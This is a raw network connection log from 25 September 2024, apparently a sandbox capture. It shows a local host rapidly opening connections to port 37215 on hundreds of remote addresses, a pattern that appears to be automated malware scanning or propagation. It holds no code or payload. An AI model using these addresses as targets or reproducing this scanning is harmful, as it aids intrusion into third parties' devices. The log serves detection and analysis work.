Sep 25, 2024 14:14:21.412873983 CEST	63353	37215	192.168.2.14	41.215.101.174
Sep 25, 2024 14:14:21.412893057 CEST	63353	37215	192.168.2.14	156.159.162.186
Sep 25, 2024 14:14:21.412908077 CEST	63353	37215	192.168.2.14	41.24.172.98
Sep 25, 2024 14:14:21.412908077 CEST	63353	37215	192.168.2.14	197.190.219.233
Sep 25, 2024 14:14:21.412908077 CEST	63353	37215	192.168.2.14	156.147.101.51
Sep 25, 2024 14:14:21.412908077 CEST	63353	37215	192.168.2.14	197.165.49.64
Sep 25, 2024 14:14:21.412915945 CEST	63353	37215	192.168.2.14	197.219.242.130
Sep 25, 2024 14:14:21.412929058 CEST	63353	37215	192.168.2.14	41.36.121.10
Sep 25, 2024 14:14:21.412929058 CEST	63353	37215	192.168.2.14	156.219.117.80
Sep 25, 2024 14:14:21.412930012 CEST	63353	37215	192.168.2.14	197.108.161.199
Sep 25, 2024 14:14:21.412929058 CEST	63353	37215	192.168.2.14	197.110.60.122
Sep 25, 2024 14:14:21.412934065 CEST	63353	37215	192.168.2.14	41.16.236.61
Sep 25, 2024 14:14:21.412938118 CEST	63353	37215	192.168.2.14	41.51.236.242
Sep 25, 2024 14:14:21.412940979 CEST	63353	37215	192.168.2.14	41.122.140.26
Sep 25, 2024 14:14:21.412940979 CEST	63353	37215	192.168.2.14	197.186.154.97
Sep 25, 2024 14:14:21.412945032 CEST	63353	37215	192.168.2.14	156.67.77.19
Sep 25, 2024 14:14:21.412946939 CEST	63353	37215	192.168.2.14	197.52.195.239
Sep 25, 2024 14:14:21.412947893 CEST	63353	37215	192.168.2.14	197.249.119.252
Sep 25, 2024 14:14:21.412955046 CEST	63353	37215	192.168.2.14	156.19.38.238
Sep 25, 2024 14:14:21.412967920 CEST	63353	37215	192.168.2.14	156.249.139.173
Sep 25, 2024 14:14:21.412971020 CEST	63353	37215	192.168.2.14	41.146.35.250
Sep 25, 2024 14:14:21.412976980 CEST	63353	37215	192.168.2.14	41.57.208.189
Sep 25, 2024 14:14:21.412980080 CEST	63353	37215	192.168.2.14	156.236.108.224
Sep 25, 2024 14:14:21.412992954 CEST	63353	37215	192.168.2.14	197.82.231.87
Sep 25, 2024 14:14:21.412993908 CEST	63353	37215	192.168.2.14	156.227.149.184
Sep 25, 2024 14:14:21.412997961 CEST	63353	37215	192.168.2.14	41.123.40.164
Sep 25, 2024 14:14:21.412998915 CEST	63353	37215	192.168.2.14	41.117.2.238
Sep 25, 2024 14:14:21.412998915 CEST	63353	37215	192.168.2.14	41.3.63.222
Sep 25, 2024 14:14:21.413012028 CEST	63353	37215	192.168.2.14	41.231.1.65
Sep 25, 2024 14:14:21.413012981 CEST	63353	37215	192.168.2.14	156.34.97.183
Sep 25, 2024 14:14:21.413012981 CEST	63353	37215	192.168.2.14	41.121.228.43
Sep 25, 2024 14:14:21.413012981 CEST	63353	37215	192.168.2.14	156.8.205.15
Sep 25, 2024 14:14:21.413017988 CEST	63353	37215	192.168.2.14	197.183.202.215
Sep 25, 2024 14:14:21.413017988 CEST	63353	37215	192.168.2.14	156.21.129.1
Sep 25, 2024 14:14:21.413033009 CEST	63353	37215	192.168.2.14	156.101.23.61
Sep 25, 2024 14:14:21.413033009 CEST	63353	37215	192.168.2.14	41.165.112.75
Sep 25, 2024 14:14:21.413034916 CEST	63353	37215	192.168.2.14	197.44.251.57
Sep 25, 2024 14:14:21.413038015 CEST	63353	37215	192.168.2.14	41.140.80.185
Sep 25, 2024 14:14:21.413047075 CEST	63353	37215	192.168.2.14	156.222.215.133
Sep 25, 2024 14:14:21.413049936 CEST	63353	37215	192.168.2.14	41.50.14.227
Sep 25, 2024 14:14:21.413052082 CEST	63353	37215	192.168.2.14	156.212.120.245
Sep 25, 2024 14:14:21.413055897 CEST	63353	37215	192.168.2.14	197.148.57.170
Sep 25, 2024 14:14:21.413522959 CEST	37215	36670	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:21.413561106 CEST	36670	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.413853884 CEST	58762	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:21.414495945 CEST	37215	35996	156.100.115.49	192.168.2.14
Sep 25, 2024 14:14:21.414554119 CEST	35996	37215	192.168.2.14	156.100.115.49
Sep 25, 2024 14:14:21.414576054 CEST	37215	41386	197.106.92.244	192.168.2.14
Sep 25, 2024 14:14:21.414848089 CEST	49938	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:21.415271044 CEST	37215	40346	41.106.32.54	192.168.2.14
Sep 25, 2024 14:14:21.415638924 CEST	37215	47678	41.36.156.215	192.168.2.14
Sep 25, 2024 14:14:21.415682077 CEST	47678	37215	192.168.2.14	41.36.156.215
Sep 25, 2024 14:14:21.415950060 CEST	35554	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:21.416141033 CEST	37215	46800	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:21.416177034 CEST	46800	37215	192.168.2.14	197.61.41.74
Sep 25, 2024 14:14:21.416423082 CEST	37215	52196	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:21.416831017 CEST	37215	52232	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:21.416892052 CEST	52232	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.417263031 CEST	37215	51984	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:21.417301893 CEST	51984	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.417469978 CEST	37215	44460	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:21.417510986 CEST	44460	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.417572021 CEST	37215	55048	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:21.417965889 CEST	37215	46770	197.61.41.74	192.168.2.14
Sep 25, 2024 14:14:21.417989969 CEST	55048	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.418435097 CEST	41644	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:21.421271086 CEST	60900	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:21.425146103 CEST	40368	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:21.427546978 CEST	37215	54964	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:21.428659916 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:21.429322958 CEST	40508	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.429322958 CEST	51456	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.429347992 CEST	36670	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.429351091 CEST	37246	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.429352045 CEST	50690	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:21.429352045 CEST	50690	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:21.429775000 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:21.430145979 CEST	40988	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:21.430145979 CEST	40988	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:21.430203915 CEST	52232	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.430553913 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:21.431241035 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:21.431411982 CEST	37215	40368	41.240.129.181	192.168.2.14
Sep 25, 2024 14:14:21.431473970 CEST	40368	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:21.432517052 CEST	57140	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.433674097 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:21.434839010 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:21.435170889 CEST	37215	51900	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:21.435348988 CEST	37215	44376	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:21.435671091 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:21.435992956 CEST	37215	40508	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:21.436005116 CEST	37215	50690	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:21.436033964 CEST	40508	37215	192.168.2.14	156.179.154.203
Sep 25, 2024 14:14:21.436150074 CEST	37215	51456	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:21.436161041 CEST	37215	36670	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:21.436187029 CEST	51456	37215	192.168.2.14	156.65.31.199
Sep 25, 2024 14:14:21.436208010 CEST	36670	37215	192.168.2.14	41.234.65.145
Sep 25, 2024 14:14:21.436513901 CEST	37215	37246	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:21.436526060 CEST	37215	40988	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:21.436561108 CEST	37246	37215	192.168.2.14	197.189.33.238
Sep 25, 2024 14:14:21.436815023 CEST	37215	52232	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:21.436877012 CEST	52232	37215	192.168.2.14	197.150.186.156
Sep 25, 2024 14:14:21.437442064 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:21.438932896 CEST	37215	57140	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:21.438977957 CEST	57140	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.442831039 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:21.443228960 CEST	37215	40472	156.179.154.203	192.168.2.14
Sep 25, 2024 14:14:21.445832014 CEST	36550	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:21.447339058 CEST	37215	37210	197.189.33.238	192.168.2.14
Sep 25, 2024 14:14:21.448020935 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:21.448936939 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:21.449672937 CEST	50550	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:21.449672937 CEST	50550	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:21.449989080 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:21.450442076 CEST	51544	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:21.450442076 CEST	51544	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:21.450767994 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:21.451105118 CEST	37215	51420	156.65.31.199	192.168.2.14
Sep 25, 2024 14:14:21.451189041 CEST	57140	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.451189041 CEST	57140	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.451623917 CEST	57162	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.452034950 CEST	40368	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:21.452035904 CEST	40368	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:21.452384949 CEST	37215	36550	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:21.452387094 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:21.452440977 CEST	36550	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:21.453085899 CEST	36550	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:21.453085899 CEST	36550	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:21.453346014 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:21.455205917 CEST	37215	36634	41.234.65.145	192.168.2.14
Sep 25, 2024 14:14:21.455868006 CEST	37215	50550	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:21.456760883 CEST	37215	51544	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:21.457406998 CEST	37215	57140	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:21.457865000 CEST	37215	57162	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:21.457967997 CEST	57162	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.457968950 CEST	57162	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.458489895 CEST	37215	40368	41.240.129.181	192.168.2.14
Sep 25, 2024 14:14:21.459197998 CEST	37215	36550	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:21.459707022 CEST	48238	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:21.462047100 CEST	37215	52196	197.150.186.156	192.168.2.14
Sep 25, 2024 14:14:21.462061882 CEST	37215	40346	41.106.32.54	192.168.2.14
Sep 25, 2024 14:14:21.462133884 CEST	37215	41386	197.106.92.244	192.168.2.14
Sep 25, 2024 14:14:21.463329077 CEST	37215	57162	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:21.463407993 CEST	57162	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:21.478226900 CEST	37215	40988	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:21.478437901 CEST	37215	50690	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:21.502911091 CEST	37215	40368	41.240.129.181	192.168.2.14
Sep 25, 2024 14:14:21.502921104 CEST	37215	57140	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:21.502929926 CEST	37215	51544	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:21.503495932 CEST	37215	50550	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:21.503504992 CEST	37215	36550	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:21.685837030 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.685837030 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.685838938 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.685853004 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.685853958 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.685854912 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.685884953 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.685884953 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:21.685898066 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.685898066 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.685898066 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:21.685898066 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.685944080 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.685944080 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.692169905 CEST	37215	35916	41.247.164.161	192.168.2.14
Sep 25, 2024 14:14:21.692183971 CEST	37215	56366	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:21.692193031 CEST	37215	58074	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:21.692240000 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.692240000 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.692243099 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.692356110 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.692356110 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.692996025 CEST	56836	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.693325996 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.693326950 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.693368912 CEST	37215	46056	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:21.693378925 CEST	37215	43490	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:21.693388939 CEST	37215	34956	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:21.693408966 CEST	37215	59912	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:21.693412066 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.693412066 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.693418980 CEST	37215	54980	197.3.194.22	192.168.2.14
Sep 25, 2024 14:14:21.693428040 CEST	37215	46694	156.5.45.241	192.168.2.14
Sep 25, 2024 14:14:21.693430901 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.693438053 CEST	37215	60642	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:21.693447113 CEST	37215	39810	41.4.228.194	192.168.2.14
Sep 25, 2024 14:14:21.693454027 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.693454027 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:21.693456888 CEST	37215	57958	41.147.82.72	192.168.2.14
Sep 25, 2024 14:14:21.693470001 CEST	37215	36584	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:21.693475962 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.693475962 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.693475962 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:21.693486929 CEST	37215	38028	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:21.693495035 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.693504095 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.693535089 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.693640947 CEST	36382	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.694139957 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.694139957 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.694566011 CEST	58538	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.695103884 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.695103884 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.695581913 CEST	46530	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.696110010 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.696110010 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.696358919 CEST	47164	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.696741104 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.696741104 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.697237015 CEST	37052	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.697611094 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.697611094 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.698234081 CEST	43958	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.699047089 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.699047089 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.699448109 CEST	38496	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.700712919 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.700712919 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.701780081 CEST	37215	56366	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:21.701808929 CEST	35422	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.701841116 CEST	37215	56836	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:21.701946020 CEST	56836	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.702617884 CEST	37215	35916	41.247.164.161	192.168.2.14
Sep 25, 2024 14:14:21.702627897 CEST	37215	36382	41.247.164.161	192.168.2.14
Sep 25, 2024 14:14:21.702636957 CEST	37215	58074	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:21.702641010 CEST	37215	58538	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:21.702657938 CEST	36382	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.702682972 CEST	58538	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.703315020 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.703315020 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.703372002 CEST	37215	46056	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:21.703382015 CEST	37215	46530	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:21.703397036 CEST	37215	46694	156.5.45.241	192.168.2.14
Sep 25, 2024 14:14:21.703406096 CEST	37215	47164	156.5.45.241	192.168.2.14
Sep 25, 2024 14:14:21.703409910 CEST	46530	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.703443050 CEST	47164	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.703454018 CEST	37215	36584	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:21.703978062 CEST	37215	37052	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:21.704032898 CEST	37052	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.704256058 CEST	37215	43490	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:21.704265118 CEST	37215	43958	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:21.704318047 CEST	43958	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.704368114 CEST	32876	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.704905033 CEST	37215	38028	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:21.705183029 CEST	37215	38496	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:21.705219984 CEST	38496	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.705779076 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.705779076 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.705904007 CEST	37215	34956	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:21.706855059 CEST	60378	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.708257914 CEST	37215	35422	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:21.708334923 CEST	35422	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.708971977 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:21.708971977 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:21.709871054 CEST	37215	60642	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:21.710385084 CEST	37215	32876	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:21.710441113 CEST	32876	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.710441113 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:21.712084055 CEST	37215	59912	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:21.712244987 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.712244987 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.712941885 CEST	58422	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.713335991 CEST	37215	60378	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:21.713376999 CEST	60378	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.714639902 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:21.714639902 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:21.714977980 CEST	37215	39810	41.4.228.194	192.168.2.14
Sep 25, 2024 14:14:21.717004061 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:21.717833042 CEST	42764	37215	192.168.2.14	156.181.97.225
Sep 25, 2024 14:14:21.717833042 CEST	36164	37215	192.168.2.14	197.155.5.129
Sep 25, 2024 14:14:21.717835903 CEST	52836	37215	192.168.2.14	156.44.91.118
Sep 25, 2024 14:14:21.717835903 CEST	56268	37215	192.168.2.14	197.15.91.163
Sep 25, 2024 14:14:21.717838049 CEST	60292	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:21.717835903 CEST	47986	37215	192.168.2.14	197.19.39.143
Sep 25, 2024 14:14:21.718058109 CEST	48772	37215	192.168.2.14	41.182.160.196
Sep 25, 2024 14:14:21.718058109 CEST	51832	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:21.718058109 CEST	46306	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:21.718327999 CEST	37215	57958	41.147.82.72	192.168.2.14
Sep 25, 2024 14:14:21.719029903 CEST	36382	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.719044924 CEST	47164	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.719054937 CEST	58538	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.719054937 CEST	37052	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.719060898 CEST	38496	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.719063044 CEST	56836	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.719063044 CEST	35422	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.719067097 CEST	46530	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.719067097 CEST	43958	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.719099045 CEST	32876	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.719103098 CEST	60378	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.719502926 CEST	37215	58422	41.147.82.72	192.168.2.14
Sep 25, 2024 14:14:21.719566107 CEST	58422	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.719566107 CEST	58422	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:21.721199989 CEST	37215	54980	197.3.194.22	192.168.2.14
Sep 25, 2024 14:14:21.725123882 CEST	37215	36382	41.247.164.161	192.168.2.14
Sep 25, 2024 14:14:21.725164890 CEST	36382	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:21.725639105 CEST	37215	47164	156.5.45.241	192.168.2.14
Sep 25, 2024 14:14:21.725706100 CEST	47164	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:21.725821018 CEST	37215	60378	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:21.725830078 CEST	37215	32876	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:21.725841045 CEST	37215	43958	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:21.725850105 CEST	37215	46530	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:21.725857973 CEST	37215	38496	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:21.725867033 CEST	37215	37052	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:21.725881100 CEST	37215	35422	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:21.725891113 CEST	37215	56836	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:21.725899935 CEST	37215	58538	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:21.725908041 CEST	37215	58538	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:21.725925922 CEST	37215	56836	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:21.725934029 CEST	37215	35422	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:21.725943089 CEST	37215	37052	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:21.725951910 CEST	37215	38496	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:21.725958109 CEST	58538	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:21.725960016 CEST	37215	46530	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:21.725963116 CEST	56836	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:21.725963116 CEST	35422	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:21.725980043 CEST	38496	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:21.725980997 CEST	37052	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:21.726012945 CEST	46530	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:21.726095915 CEST	37215	43958	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:21.726105928 CEST	37215	32876	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:21.726114035 CEST	37215	60378	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:21.726152897 CEST	60378	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:21.726160049 CEST	43958	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:21.726161957 CEST	32876	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:21.726697922 CEST	37215	58422	41.147.82.72	192.168.2.14
